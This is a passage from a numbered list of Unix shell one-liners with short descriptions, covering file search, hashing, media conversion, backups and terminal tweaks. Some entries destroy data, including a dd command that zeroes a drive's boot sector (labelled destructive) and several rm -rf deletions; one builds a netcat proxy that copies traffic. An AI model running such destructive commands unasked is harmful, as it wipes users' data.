7614find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
7615
7616# Directory Tree
7617tree -d
7618
7619# Directory Tree
7620find . -type d -print | sed -e 's;[^/]*/;..........;g'|awk '{print $0"-("NR-1")"}'
7621
7622
7623
7624# VIM: when Ctrl-D and Ctrl-U only scroll one line, reset to default
7625:set scroll=0
7626
7627# Schedule Nice Background Commands That Won't Die on Logout - Alternative to nohup and at
7628( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & )
7629
7630# Outputs a 10-digit random number
7631head -c10 <(echo $RANDOM$RANDOM$RANDOM)
7632
7633# Check if variable is a number
7634if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi
7635
7636# Outputs a 10-digit random number
7637tr -c -d 0-9 < /dev/urandom | head -c 10
7638
7639# Convert unix timestamp to date
7640date -ud "1970-01-01 + 1234567890 seconds"
7641
7642# Print a list of the 30 last modified mp3s sorted by last first
7643find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2
7644
7645# Print text string vertically, one character per line.
7646echo "vertical text" | fold -1
7647
7648# Generate SHA1 hash for each file in a list
7649find . -type f -exec sha1sum {} >> SHA1SUMS \;
7650
7651# Benchmark report generator
7652hardinfo -am benchmark.so -f html > report.html
7653
7654# Changing the terminal title to the last shell command
7655if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;$1\a" };; esac; fi
7656
7657# Grep auth log and print ip of attackers
7658egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq
7659
7660# Generate SHA1 hash for each file in a list
7661ls [FILENAME] | xargs openssl sha1
7662
7663# Notify Gnome user of files modified today
7664OLDIFS=$IFS; IFS=$(echo -en "\n\b"); for f in `find -daystart -mtime 0 -type f -printf "%f\n"`; do notify-send -t 0 "$f downloaded" ; done; IFS=$OLDIFS
7665
7666# Perform a reverse DNS lookup
7667dig -x 74.125.45.100
7668
7669# Download a TiVo Show
7670curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c /tmp/cookie -k -u tivo:$MAK --digest https://$tivo/nowplaying/index.html | sed 's;.*<a href="\([^"]*\)">Download MPEG-PS</a>.*;\1;' | sed 's|\&|\&|')" | tivodecode -m $MAK -- - > tivo.mpg
7671
7672# Create a single-use TCP proxy with copy to stdout
7673gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; }
7674
7675# backup your playstation game using rip
7676$ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc
7677
7678# Remove blank lines from a file using grep and save output to new file
7679grep -v "^$" filename > newfilename
7680
7681# Determine configure options used for MySQL binary builds
7682grep CONFIG $(which mysqlbug)
7683
7684# Search for a <pattern> string inside all files in the current directory
7685grep -r <pattern> * .[!.]*
7686
7687# Search for a <pattern> string inside all files in the current directory
7688ack <pattern>
7689
7690# Search for a <pattern> string inside all files in the current directory
7691find . -type f -print0 | xargs -0 grep -i <pattern>
7692
7693# calulate established tcp connection of local machine
7694netstat -an | grep -Ec '^tcp.+ESTABLISHED$'
7695
7696# Adding Color Escape Codes to global CC array for use by echo -e
7697declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done
7698
7699
7700
7701# gpg decrypt several files
7702gpg --allow-multiple-messages --decrypt-files *
7703
7704# Change the console keyboard layout
7705loadkeys uk
7706
7707# shorten url using curl, sed and is.gd
7708curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\([^"]*\)".*/\1/'
7709
7710# Instant mirror from your laptop + webcam (fullscreen+grab)
7711mplayer -fs -vf screenshot,mirror tv://
7712
7713# Record MP3 audio via ALSA using ffmpeg
7714ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3
7715
7716# find your release version of your ubuntu / debian distro
7717lsb_release -a
7718
7719# Delete all but the latest 5 files, ignoring directories
7720ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm
7721
7722# Delete all but the latest 5 files
7723ls -t | tail +6 | xargs rm
7724
7725# convert a,b,c to ('a','b','c') for use in SQL in-clauses
7726echo a,b,c | sed -e s/,/\',\'/g -e s/^/\(\'/ -e s/$/\'\)/
7727
7728# Remove all files but one starting with a letter(s)
7729rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
7730
7731# Substitute audio track of video file using mencoder
7732mencoder -ovc copy -audiofile input.mp3 -oac copy input.avi -o output.avi
7733
7734# Remove sound from video file using mencoder
7735mencoder -ovc copy -nosound input.avi -o output.avi
7736
7737# Incase you miss the famous 'C:\>' prompt
7738export PS1='C:${PWD//\//\\\}>'
7739
7740# erase content from a cdrw
7741cdrecord -v -blank=all -force
7742
7743# Check variable has been set
7744[ -z "$VAR" ] && echo "VAR has not been set" && exit 1
7745
7746# find only current directory (universal)
7747find . \( ! -name . -prune \) \( -type f -o -type l \)
7748
7749# FLV to AVI with subtitles and forcing audio sync using mencoder
7750mencoder -sub subs.ssa -utf8 -subfont-text-scale 4 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -o output.avi input.flv
7751
7752# Create multiple mp4 files using avidemux
7753for i in *;do avidemux --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done
7754
7755# Ultimate current directory usage command
7756find . -maxdepth 1 ! -name '.' -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs
7757
7758# Output files without comments or empty lines
7759function catv { egrep -v "^$|^#" ${*} ; }
7760
7761# List hostnames of all IPs
7762for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP | awk '{print $5}'; done
7763
7764# A DESTRUCTIVE command to render a drive unbootable
7765dd if=/dev/zero of=/dev/fd0 bs=512 count=1
7766
7767# Ripping VCD in Linux
7768cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc
7769
7770# create tar archive of files in a directory and its sub-directories
7771tar czf /path/archive_of_foo.`date -I`.tgz /path/foo
7772
7773# Creat a tar file for backup info
7774tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/